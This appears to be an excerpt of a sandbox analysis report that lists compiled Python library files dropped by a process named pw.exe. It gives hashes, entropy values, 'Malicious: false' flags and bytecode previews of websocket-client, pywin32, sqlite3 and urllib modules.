Preview:	o.........SgXR.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l m!Z!..d.d.l"m#Z#....d.d.g.Z$G.d.d...d...Z%d.e%f.d.e&f.d.d...Z'd.S.)......N)...Optional..Union.....)...ABNF..STATUS_NORMAL..continuous_frame..frame_buffer)...WebSocketProtocolException."WebSocketConnectionClosedException)...SUPPORTED_REDIRECT_STATUSES..handshake)...connect..proxy_info)...debug..error..trace..isEnabledForError..isEnabledForTrace)...getdefaulttimeout..recv..send..sock_opt)...ssl)...NoLock..WebSocket..create_connectionc....................@...s ...e.Z.d.Z.d.Z.............dPd.e.d.e.d.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.e.e.e...Z.d.d...Z.e.e...Z.d.d...Z.e.e...Z.d.d...Z.d d!..Z.e.e...Z.d"d#..Z.e.j.f.d$e.e.e.f...d%e.d.e.f.d&d'..Z.d(e.d.e.f.d)d*..Z.d+e.e.e f...d.e.f.d,d-..Z!d.e.f.d.d/..Z"d$e.d.e

C:\recover\pw\lib\site-packages\websocket\pycache\_exceptions.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	5.102255715503785
Encrypted:	false
SSDEEP:	48:QC9Vw3WRenl4+h0CH31KO8ZfxdKJjznx8uDCDcDHMjk9LQVR3qh89CK:79Vw3Cenl4s3HFKDZZdsztDAcDsMQH7v
MD5:	9B014F089E4635C85815188B5E6D252C
SHA1:	FC85F6680A1CB23394C0027AA067292F4D3DB0B8
SHA-256:	2DA485A8890342F88DF0D86677B50B27E8E3508FE0CE1FDD76F78EB99CB6BB44
SHA-512:	DF78FAD812622A3572286BA997A6D558B6B233B5B61794B74EBFC6284769148078C07AAA5F8B7609BBBACC2908200982E1CFB0998AA950E6C7258B197E95E86D
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).ae...._exceptions.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..c....................@........e.Z.d.Z.d.Z.d.S.)...WebSocketExceptionz$. WebSocket exception class.. N....__name__..__module__..__qualname__..__doc__..r....r.....8C:\recover\pw\lib\site-package

C:\recover\pw\lib\site-packages\websocket\pycache\_handshake.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5678
Entropy (8bit):	5.6818714285314424
Encrypted:	false
SSDEEP:	96:+r4s3HFKqfGnSzflfe8mtj6my9mZH5yEG/Zd2ROHvNI2Mr6uURW8R6:+r33HxOSzfc8IHChd+qhRPR6
MD5:	52E0AE837A5F92CEFE238AC098E200D0
SHA1:	85DBF172FCFD3A7000411E515B872664A37B89F6
SHA-256:	E178A8BEFDE9ACB38F4EC1C729EB345AF62FC02D355CEC020254E81A8CCBF15A
SHA-512:	9AB51275DE01CABC8DDF3C074DA908C1C047FA01CC951ECF9159DB84EE633577B15B755F8F8F3DF73EA2575733FA0ED1C5347BA6895AFF00E221A1FC0AEC4D3C
Malicious:	false
Preview:	o.........Sg.........................@...sR...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.e.j.e.j.e.j.e.j.e.j.f.Z.e.e.j.f...Z.e...Z.G.d.d...d...Z d.e!d.e!d.e"d.e!d.e f.d.d...Z#d.e!d.e!f.d.d...Z$d.e!d.e!d.e!d.e"d.e%d.e&f.d.d...Z'e.f.d.e&d.e&f.d.d...Z(d.d d!..Z)d"e!d.e&f.d#d$..Z*d.e!f.d%d&..Z+d.S.)'ad...._handshake.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the Licens

C:\recover\pw\lib\site-packages\websocket\pycache\_http.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8085
Entropy (8bit):	5.652383826646823
Encrypted:	false
SSDEEP:	192:733HYL4DWl5HfG443QYGo3R0wTk9SJXg2QhkmYeG:73K4DWl5/23QYGoh0icdkveG
MD5:	B0477B68735079859740F4E9D2C45294
SHA1:	D25029655DBB21D8FBCF6D0BF6B3F4DFA0151363
SHA-256:	B633018B41DA01ECE1BD5F8B122AEF19279F6C8BE12DE9C10BCF9DEEB967F0EF
SHA-512:	A925BFA0AD458BC06EBA4AA6A5629CD8D6F9AF46ADE41EA83CC1F172D9864C0F372469FD476DBA1FDAFC55E07692C0FCB90144755D9CF7A6872A88D476CC286F
Malicious:	false
Preview:	o.........Sg.2.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.Z.W.n.......d.Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"G.d.d...d.e ..Z#Y.G.d.d...d...Z$d.e%d.e&f.d.d...Z'd.e%f.d.d...Z(d.e)d.ed.e&f.d d!..Z+d"d#..Z,d$e.j.d%e-f.d&d'..Z.d$e.j.d(e-f.d)d..Z/d$e.j.d.e)d.e.j.f.d+d,..Z0d$e.j.d.e&f.d-d...Z1d.S.)/a_...._http.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specifi

C:\recover\pw\lib\site-packages\websocket\pycache\_logging.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2414
Entropy (8bit):	4.712172098290634
Encrypted:	false
SSDEEP:	48:Ispkf0bzURvDMDzDf+h3X0V3fFxksmtOX5uPJPZXrnquoGgBED:Ji0bz803W3X0VvqtOX5uPJBloGgB4
MD5:	53E24A6F288D08F183C3A48C3BEFD3EC
SHA1:	F97916AF12384C18D1D41BA0B22B58F01FE9A5AC
SHA-256:	DBBFDF152D329B76CFE550ED5AF7A0EE0E7421FEE939B4DFEC641BE5D49E3F5A
SHA-512:	9D48803BDF1808D9ADFBEF6B512BB2585D644E77DE06FF4D80F8CEBA53D0F0FA7A58EA8732828A1E03887EC9EFE76D850591C5842774D63D2BC1ABA9F99B50A1
Malicious:	false
Preview:	o.........Sg.........................@...s&...d.d.l.Z...e...d...Z.z.d.d.l.m.Z...W.n...e.y$......G.d.d...d.e.j...Z.Y.n.w.e...e.......d.a.g.d...Z.e.....d.f.d.e.d.e.j.d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d d!..Z.d.e.f.d"d#..Z.d.S.)$.....N..websocket)...NullHandlerc....................@...s....e.Z.d.Z.d.d.d...Z.d.S.).r......returnNc....................C...s....d.S...N..)...self..recordr....r.....5C:\recover\pw\lib\site-packages\websocket\_logging.py..emit...........z.NullHandler.emit).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....F)...enableTrace..dump..error..warning..debug..trace..isEnabledForError..isEnabledForDebug..isEnabledForTrace..DEBUG..traceable..handler..levelr....c....................C...s*...\|.a.\|.r.t...\|.....t...t.t.\|.......d.S.d.S.).z.. Turn on/off the traceability... Parameters. ----------. traceable: bool

C:\recover\pw\lib\site-packages\websocket\pycache\_socket.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4036
Entropy (8bit):	5.403988278408934
Encrypted:	false
SSDEEP:	96:4JkFTvnpUXHQ9VTyHLDPEoFgTHX+S6VAqcm1MlMfs:4yznmXoTUsoUuSE11IMfs
MD5:	518785495D60A95A94638BDEBFB4A8D0
SHA1:	9072DE06208E0AFEFA72963F7DD632D0DDD79ED7
SHA-256:	C1D0801E1BE39CA3CB045788B49404DCE107645A42B01156BCDA987346E79453
SHA-512:	11A251DEFFA842FC24D7D15F99D99C9761948CD635C0ED0014A349F47DD1DBD495E67259234865EEC8E51843C614EECD58F16B4DF780F20FD1B24E3176E1283A
Malicious:	false
Preview:	o.........SgN........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.....e.j.e.j.d.f.g.Z.e.e.d...rDe...e.j.e.j.d.f.....e.e.d...rSe...e.j.e.j.d.f.....e.e.d...rbe...e.j.e.j.d.f.....e.e.d...rqe...e.j.e.j.d.f.....d.a.g.d...Z.G.d.d...d...Z.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.j.d.e.d.e f.d.d...Z!d.e.j.d.e f.d.d...Z"d.e.j.d.e.e e#f...d.e.f.d.d...Z$d.S.) .....N)...Union.....).."WebSocketConnectionClosedException..WebSocketTimeoutException)...SSLError..SSLWantReadError..SSLWantWriteError)...extract_error_code..extract_err_message..SO_KEEPALIVE..TCP_KEEPIDLE.......TCP_KEEPINTVL.......TCP_KEEPCNT.....)...DEFAULT_SOCKET_OPTION..sock_opt..setdefaulttimeout..getdefaulttimeout..recv..recv_line..sendc....................@...s"...e.Z.d.Z.d.e.d.e.d.d.f.d.d...Z.d.S.).r......sockopt..sslopt..returnNc....................C...s....\|.d.u.r.g.}.\|.d.u.r.i.}.\|.\|._.\|.\|._.d.\|._.d.S...N).r....r......timeout)...selfr....r......r.....4

C:\recover\pw\lib\site-packages\websocket\pycache\_ssl_compat.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1489
Entropy (8bit):	5.1946921805105175
Encrypted:	false
SSDEEP:	24:FgiToV7RkwGW7mTzhZl4IpheU0E+4HQk1Gps2B5OBD8TOhw5HJu2OeuxHb:Fr07aLUI4+h0CH31KN0BQTUeVfyb
MD5:	67262BED2FC24103342CB38097C2F4CD
SHA1:	D3343D096298CA33434FAFBE2C55D31CCD7BD157
SHA-256:	9DB502654CF1471F6A35A7F1D5BF91FDCD0D4A10F0D4AAB97E0BC8606C0D17E3
SHA-512:	10377F08AA0966C579F37B2DC394CE5AE7D5F5CE0A68AFCFC0FA0EA308A6F8C55256C726F8D68EEF036DDA9F66691898E59F06CC1AFCA885A6DEA687E36A64F1
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.Z.W.d.S...e.yI......G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.Y.d.S.w.).ae...._ssl_compat.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..)...HAVE_SSL..ssl..SSLError..SSLEOFError..SSLWantReadError..SSLWantWriteError.....N).r....r....r....r....Tc....................@........e.Z.d.Z.d.S.).r....N....__name__..__module__..__qu

C:\recover\pw\lib\site-packages\websocket\pycache\_url.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4352
Entropy (8bit):	5.4864405172237225
Encrypted:	false
SSDEEP:	96:KlQBQRosjTGIzsNAuT/ceAxr6UYtSwGJBBK9WFSuGZDgQ:9BQRRXPIkB2UYPQkqGZ
MD5:	B86812B1DAE971A391DA4C94989D4165
SHA1:	C8510D53C1E1AFD7115303FB672926FE3A5128A1
SHA-256:	D69624FB4D8A9440CEA123DF15CD7487E39CEF184932B696C0438E58ACB74832
SHA-512:	BFF1DD494986A138C744D4BAADE578C7FE883496C663DCC9AEEE1F2F3B53BC8DAF92CC6842D7F1B8876D61C36A3DD7A94D29ADD1CAE7B94870332C0A2ECB1D63
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....d.d.g.Z.d.e.d.e.f.d.d...Z.d.d.g.Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.e...d.e.f.d.d...Z...........d!d.e.d.e.d.e.e...d.e.d.e.e...d.e.e...d.e.d.e.f.d d...Z.d.S.)".....N)...Optional)...unquote..urlparse.....)...WebSocketProxyException..parse_url..get_proxy_info..url..returnc....................C...s....d.\|.v.r.t.d.....\|...d.d...\.}.}.t.\|.d.d...}.\|.j.r.\|.j.}.n.t.d.....d.}.\|.j.r)\|.j.}.d.}.\|.d.k.r4\|.s3d.}.n.\|.d.k.r?d.}.\|.s>d.}.n.t.d.\|.......\|.j.rL\|.j.}.n.d.}.\|.j.rY\|.d.\|.j.....7.}.\|.\|.\|.\|.f.S.).z.. parse url and the result is tuple of. (hostname, port, resource path and the flag of secure mode).. Parameters. ----------. url: str. url string.. ..:z.url is invalidr......http)...schemez.hostname is invalidr....F..ws.P.....wssTi....z.scheme %s is invalid../..?)...ValueError..splitr......hostname..port..path..query).r....r......parse

C:\recover\pw\lib\site-packages\websocket\pycache\_utils.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4070
Entropy (8bit):	4.054651629829164
Encrypted:	false
SSDEEP:	48:9xFBpqD0Oy3vxQkJxriXOTwJSPe1IHcO6GA9PYR:9xFBpo0Oy+k/rUOTOSP+IP6GnR
MD5:	F2E645FBDAAE6B52AED243451E193429
SHA1:	611E66E7305A6CFBDFF54D83F5357D8C71BE9A8C
SHA-256:	A4FCD0B162300E6FE9CCD2CA82CB0D6282886F82733A185F4279104BA19E1528
SHA-512:	BCC3926CF9623B46FC5B00577B42643EF39B0D4D1B29D84FA53CC2BA6E44C9E968E9343FEAE23E63F934771EC36C50DB07781110AB604D9351B3220430772783
Malicious:	false
Preview:	o.........Sg1........................@...s....d.d.l.m.Z.....g.d...Z.G.d.d...d...Z.z.d.d.l.m.Z...d.e.e.e.f...d.e.f.d.d...Z.W.n+..e.yR......d.Z.d.Z.g.d...Z.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.e.e.f...d.e.f.d.d...Z.Y.n.w.d.e.e.e.f...d.e.f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.S.)......)...Union)...NoLock..validate_utf8..extract_err_message..extract_error_codec....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.).r......returnNc....................C........d.S...N..)...selfr....r.....3C:\recover\pw\lib\site-packages\websocket\_utils.py..__enter__...........z.NoLock.__enter__c....................C...r....r....r....).r......exc_type..exc_value..tracebackr....r....r......__exit__....r....z.NoLock.__exit__).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r....)...Utf8Validator..utfbytesr....c....................C...s....t.....\|...d...}.\|.S...Nr....).r......validate).r......resultr....r....r......_validate_utf8%...s.......

C:\recover\pw\lib\site-packages\win32\lib\pycache\pywin32_bootstrap.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	497
Entropy (8bit):	5.3767030521884145
Encrypted:	false
SSDEEP:	6:y/+zD+LlUA1pAZVsrPkf0rjyl3KZX43d4AQILXyJ4hs2onBMigt0lBAmG7kAr4uY:Cq+RtWsrPJeMS4OjyJasv6OlBDGgztmm
MD5:	18D3989B3FE5277CA1C6C32EFB8372DC
SHA1:	52EC7F437E68AC368F14F9275AC85236E106542D
SHA-256:	5F12A4DE5189BD069C8274FE10DEEBA80AC0C051498493E548BE3F63DFB27D1F
SHA-512:	79A19FD0472F78C3139F01419F6E2D314A621DA2CA22ABD37589037B4A2FDD1F0BB58335996FFD131FC7CF7D953855E80C1663604245F677AAD57E208A5DAFE7
Malicious:	false
Preview:	o.........Sg.........................@...s....z.d.d.l.Z.W.n...e.y.......Y.d.S.w.d.d.l.Z.e.j.D.]<Z.e.j...e...rTe.e.d...r-e...e.......d.S.e.j.d.....e...sQe.j.d.....e.j.e...d...e.j.d.<.e.e.j...e.j.d.....e.j.d.<...d.S.q.d.S.)......N..add_dll_directory..PATH..).Z.pywin32_system32..ImportError..os..__path__..path..isdir..hasattrr......environ..startswith..replace..pathsep..r....r.....>C:\recover\pw\lib\site-packages\win32\lib\pywin32_bootstrap.py..<module>....s".....................................

C:\recover\pw\lib\sqlite3\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1644
Entropy (8bit):	5.229362953861498
Encrypted:	false
SSDEEP:	48:M2TWmbT1esm0TcObLNuETO6jG+Qv68qm0:M2TWmle8QNETO5z9q1
MD5:	426FFD57A2C98C8779F91B4997220B0D
SHA1:	06F149651DEC0E60C529185619CE058A05B4FDAF
SHA-256:	D0F92E2BDD093635ED377665215401627E348B30E5BA1F770D8BF5B0F5347EBD
SHA-512:	4147D924FFE1C46CAF5EA1AF4590357055307E7C755C134435EFCFD5209CCD4B758FD446C70102E43B9E9C5601BE4FBDF55EA74801AB1887708CC2BB21F17E9B
Malicious:	false
Preview:	o.........Sg/........................@...s....d.Z.d.d.l.T.d.d...Z.d.S.).u.....The sqlite3 extension module provides a DB-API 2.0 (PEP 249) compliant.interface to the SQLite library, and requires SQLite 3.7.15 or newer...To use the module, start by creating a database Connection object:.. import sqlite3. cx = sqlite3.connect("test.db") # test.db will be created or opened..The special path name ":memory:" can be provided to connect to a transient.in-memory database:.. cx = sqlite3.connect(":memory:") # connect to a database in RAM..Once a connection has been established, create a Cursor object and call.its execute() method to perform SQL queries:.. cu = cx.cursor().. # create a table. cu.execute("create table lang(name, first_appeared)").. # insert values into a table. cu.execute("insert into lang values (?, ?)", ("C", 1972)).. # execute a query and iterate over the result. for row in cu.execute("select * from lang"):. print(row).. cx.close()..Th

C:\recover\pw\lib\sqlite3\pycache\dbapi2.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2972
Entropy (8bit):	5.110281520662531
Encrypted:	false
SSDEEP:	48:vW2fEkeTde1/eBB/KP+7oheXYPX7sXq2PXSedQuPXRGqAL0DOPX/PXnCePXd9Tbu:v7f8Tdq/gB/6+7oheXYv7sa2vSeWuvRJ
MD5:	40D3E050A62F4D72CB45BBAD4968C02F
SHA1:	56A229A32EE85C550F08AA84ADDEC34C66391343
SHA-256:	6809FA535E7BDB043E487687663A84EF0BE2BD30A9F2745EE90AD93B4A08F90F
SHA-512:	6E466B9D4CA11731C410E9803DD2BCCA4DFB4124D0131BE56A8221915B19D6956A90ADB55B505BB38EC4E6798310FE34D1E05AB40BEF51114816FCE9979D7FC0
Malicious:	false
Preview:	o.........Sgb........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.Z.d.Z.d.Z.e.j.Z.e.j.Z.e.j.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d...e...d...D.....Z.e.d.d...e...d...D.....Z.e.Z.e.j.j...e.....d.d...Z.e.....d.d...Z.[.d.S.)......N)...*Z.qmark.....z.2.0c....................C........t.t...\|...d.d.......S.).N.....)...Date..time..localtime..Z.ticks..r.....#C:\recover\pw\lib\sqlite3\dbapi2.py..DateFromTicks)..........r....c....................C...s....t.t...\|...d.d.......S.).Nr.........)...Timer....r....r....r....r....r......TimeFromTicks,...r....r....c....................C...r....).Nr....)...Timestampr....r....r....r....r....r......TimestampFromTicks/...r....r....c....................C........g.\|.].}.t.\|.....q.S.r........int.....0..xr....r....r......<listcomp>2..........r.......c....................C...r....r....r....r....r....r....r....r....3...r....c....................C...sP...d.d...}.d.d...}.d.d...}.d.d...}.t.t.j.\|.....t.t.j.\|.....t.d.\|.....t.d.\|.....d.S.).Nc....................S..

C:\recover\pw\lib\urllib\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	129
Entropy (8bit):	3.9991200396809736
Encrypted:	false
SSDEEP:	3:y/6Qllylluleh/wZWeiTKMWUZqOkcTgp:y/6Qy/qeh/wUMUAu4
MD5:	AFB9368C23E18CE6D115A7E93D8E61AB
SHA1:	E4B6667F6C641B54A99D5F241FA95AF85F2F82F4
SHA-256:	1780A47555553A218128B6A13E5A30E2060F663FCE247BE5128E72B1DCD5BD3C
SHA-512:	1F47CC476DA4E160607DB3A484B0E4F926D7E69F74503CDF3A3A02D17E3970A3A1A58B03ACECC4ABA264932F647AE8F06769857A3923057B70C6A43EE025A1FC
Malicious:	false
Preview:	o.........Sg.........................@...s....d.S.).N..r....r....r.....$C:\recover\pw\lib\urllib\__init__.py..<module>....s......

C:\recover\pw\lib\urllib\pycache\error.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2851
Entropy (8bit):	4.8883884073671
Encrypted:	false
SSDEEP:	48:vSbuQshuDSkJ8eJ/qiWqgpHO26ZenDxp/mdveDI8JG/UOUPkjKbMrHoYwqmAMlna:qbuyDSkJ8eJ/qmgpHF/DxwdveDI84/Ue
MD5:	8AC04B6BCBD9EA0D8D47ABDCF8BF6784
SHA1:	0920B661AC820321167724A42BC8C4DD65CF9465
SHA-256:	13CE9BCBE9215F62C2D7812BA9DB7AB5EBC5768322273BD343D4D070A613881A
SHA-512:	2B46BD322AEF6E41EDBC926A8FA10B9B835D74BFF921A99736C0816E111953F4381E0BDC2AED08BF9927E944CD9E3A0A31DC0B20C988E601BD2EED5B742852C2
Malicious:	false
Preview:	o.........Sg.........................@...sV...d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e.j.j...Z.G.d.d...d.e...Z.d.S.).a....Exception classes raised by urllib...The base exception class is URLError, which inherits from OSError. It.doesn't define any behavior of its own, but is the base class for all.exceptions defined in this package...HTTPError is an exception class that is also a valid HTTP response.instance. It behaves this way because HTTP protocol errors are valid.responses, with a status code, headers, and a body. In some contexts,.an application may want to handle an exception like a regular.response.......N)...URLError..HTTPError..ContentTooShortErrorc....................@...s....e.Z.d.Z.d.d.d...Z.d.d...Z.d.S.).r....Nc....................C...s$...\|.f.\|._.\|.\|._.\|.d.u.r.\|.\|._.d.S.d.S...N)...args..reason..filename)...selfr....r......r.....!C:\recover\pw\lib\urllib\error.py..__init__....s..............z.URLError.__init__c....................C...s....d.\|.j...S.).Nz

C:\recover\pw\lib\urllib\pycache\parse.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	33774
Entropy (8bit):	5.4431276889601925
Encrypted:	false
SSDEEP:	384:0Gxj6W55i3zXy6A9T7A7jJ7IreL5xo5Im4Qf2LMNAsTGZWB3qr4kdj6BnKTEld:0GxoqTU5cra/oLTNA8GYB3qrs8Eld
MD5:	05807C68D3E4DE97A2C9988A02245394
SHA1:	FF062A8851894AC5A08BF4588A64B79AB2363F46
SHA-256:	34794D687A61A43A9F18FC5B31B8FAA8C65B55739D6E99CD83373725D188E35B
SHA-512:	8433761F9E59349DBCDC6E5FB6EE8D6A7190A98C708AE7F52644C52AF2BD94799749AE43E2D8C8C6ED388C45CC6D6C01276F4D2DDC7DC31B296C6A03A751F72C
Malicious:	false
Preview:	o.........Sg........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.d.Z.g.d...Z.d.Z.i.Z.d.d...Z.d.Z.d.Z.d.d...Z.e.e.f.d.d...Z.e.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e.e...Z.G.d!d"..d"e.e...Z.d.d#l.m.Z...e.d$d%..Z.e.d&d'..Z e.d(d)..Z!de._.d+e.j"_.d,e.j#_.d-e _.d.e j$_.d/e j%_.d0e j&_.d1e j'_.d2e j#_.d3e!_.e j$j.e!j$_.e j%j.e!j%_.e j&j.e!j&_.d4e!j(_.e j'j.e!j'_.e j#j.e!j#_.e.Z)G.d5d$..d$e.e...ZG.d6d&..d&e e...Z+G.d7d(..d(e!e...Z,G.d8d9..d9e.e...Z-G.d:d;..d;e e...Z.G.d<d=..d=e!e...Z/d>d?..Z0e0....[0d.dBdC..Z1dDdE..Z2d.dFdG..Z3dHdI..Z4d.dJdK..Z5dLdM..Z6dNdO..Z7d.dPdQ..Z8dRdS..Z9dTZ:d.a;dUdV..Z<e..=dW..Z>d.dZd[..Z?.\.]d.d^d_..Z@.\.]d.d`da..ZAd.dbdc..ZBeCdd..ZDeEeD..ZFi.ZGG.dedf..dfe.jH..ZId.dhdi..ZJd.djdk..ZKd.dldm..ZLd\d@d.d.eKf.dndo..ZMdpdq..ZNdrds..ZOdtdu..ZPdvdw..ZQd.aRdxdy..ZSdzd{..ZTd.aUd\|d}..ZVd~d...ZWd.d...ZXd.d...ZYd.d...ZZd.d...Z[d.a\d.d...Z]d.d.d...Z^d.d.d...Z_

C:\recover\pw\lib\urllib\pycache\request.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	71336
Entropy (8bit):	5.431133899897732
Encrypted:	false
SSDEEP:	1536:2ZcvB/toBL6sxVuJaP6IMydlT2rQuyHuQfaC6x4oinfTQcJ0:2WdtU6AI663Qu46ufMY0
MD5:	7D0CD02AF2C0E6F670108DE9A25D4C5D
SHA1:	ED56F392E223BEC3926B90137F351145F64AEA61
SHA-256:	CAFFB1B37BF6B9F918E41AA48D7183E3B3A89ACE55BB60EDC795328D92D2988D
SHA-512:	7F884C2C06299433ABCC3F0CBB5B230E7FB8813D960AFD091B3053AAA4E9C5D29FF2CDC8BAA8843AA18D0ADF3513DBD3DEB2AB8BACBDCCC2D8F8B96818B8D4AE
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(..d.d.l)mZm+Z+..z.d.d.l,Z,W.n...e-y.......d.Z.Y.n.w.d.Z.g.d...Z/d.e.j0d.d.......Z1d.a2d.e.j3f.d.d.d.d.d...d.d...Z4d.d...Z5g.Z6d.d.d...Z7d.d...Z8e..9d.e.j:..Z;d.d...Z<G.d.d...d...Z=G.d.d...d...Z>d.d...Z?G.d.d...d...Z@G.d.d ..d 